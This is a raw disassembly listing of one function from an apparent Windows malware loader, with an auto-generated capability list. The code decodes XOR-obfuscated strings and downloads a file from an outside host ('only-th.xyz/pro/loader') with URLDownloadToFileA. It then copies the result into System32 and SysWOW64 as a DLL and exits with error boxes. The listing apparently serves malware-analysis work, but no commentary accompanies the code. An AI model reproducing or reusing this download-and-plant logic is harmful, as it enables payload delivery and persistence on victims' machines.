Function at 0x403220
Capabilities:
Copy file
Download url
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45190b
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x462080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0x108]
call fcn.00404e60
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 1
cmp dword [ebp - 0xac], 0
je 0x40375f
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x108]
mov eax, dword [ebp - 0x108]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x108]
call fcn.00407040
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x403427
push ecx
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0x3d495041
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x10c], 0
call fcn.004061c0
mov dword [ebp - 0x110], 0
mov byte [ebp - 0x10c], 0
cmp eax, 0xffffffff
jne 0x403370
mov eax, dword [ebp - 0x108]
lea ecx, [ebp - 0x108]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x108]
call fcn.00407040
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
jne 0x4032f7
jmp 0x403427
mov word [ebp - 0x110], 0x3d
push ecx
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x28]
call fcn.004061c0
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
lea edx, [eax + 1]
mov eax, dword [ebp - 0x18]
cmp eax, edx
jb 0x403784
sub eax, edx
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push ecx
add eax, edx
lea ecx, [ebp - 0x128]
push eax
call fcn.00401e00
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x44]
call fcn.004062d0
mov ecx, dword [ebp - 0x114]
cmp ecx, 0xf
jbe 0x403423
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403419
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403478
push ecx
push edx
call fcn.00450407
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xf8]
call fcn.004066b0
test eax, eax
jne 0x40344e
push eax
mov eax, dword [ebp - 0x108]
lea ecx, [ebp - 0x108]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x403488
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40347e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40347e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00450407
add esp, 8
lea eax, [ebp - 0x44]
mov edx, 0x45e150
push eax
lea ecx, [ebp - 0x128]
call fcn.00406ab0
add esp, 4
cmp dword [eax + 0x14], 0xf
jbe 0x4034a7
mov eax, dword [eax]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ecx, dword [ebp - 0x114]
cmp ecx, 0xf
jbe 0x4034ea
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4034e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4034e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00450407
add esp, 8
mov ecx, 0x9c
xor edx, edx
mov al, byte [edx + 0x45e170]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x40350e
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x4034f1
mov byte [ebp - 0x13], 0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 4
push eax
mov edx, str.http:__only_th.xyz_pro_loader_
lea ecx, [ebp - 0x128]
call fcn.00406ab0
add esp, 4
cmp dword [eax + 0x14], 0xf
jbe 0x40353b
mov eax, dword [eax]
push 0
push 0
lea ecx, [ebp - 0x20]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x114]
mov esi, eax
cmp ecx, 0xf
jbe 0x40358a
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403580
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403580
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00450407
add esp, 8
mov byte [ebp - 4], 1
test esi, esi
js 0x403743
mov ecx, 0x38
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x45e1a0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x4035bd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x4035a0
mov byte [ebp - 0x13], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4035f0
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00401e00
cmp dword [ebp - 0x114], 0xf
lea eax, [ebp - 0x128]
push 0x45e108
cmova eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x403643
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x10c], 1
jmp 0x40364a
mov byte [ebp - 0x10c], 0
mov ecx, dword [ebp - 0x114]
cmp ecx, 0xf
jbe 0x403686
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40367c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40367c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00450407
add esp, 8
cmp byte [ebp - 0x10c], 0
je 0x403718
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push str.C:WindowsSystem32VPNv8CSP_.dll
push 0x45e1d4
call esi
push 1
push str.C:WindowsSysWOW64VPNv8CSP_.dll
push 0x45e208
call esi
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x4036f3
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4036e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4036e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00450407
add esp, 8
lea ecx, [ebp - 0x108]
call fcn.00403790
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004501c9
mov esp, ebp
pop ebp
ret
mov eax, 0x45e218
lea ecx, [ebp - 0x20]
sub eax, 0x663095c9
push eax
call fcn.00406c10
push 0x10
push 0x45ddf9
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10
push 0x45ddfa
push str.__LoaderDLL_ERROR__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x7636bcd
lea ecx, [ebp - 0x50]
call fcn.00406bd0
push 0x10
push 0x45ddf3
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00406870
int3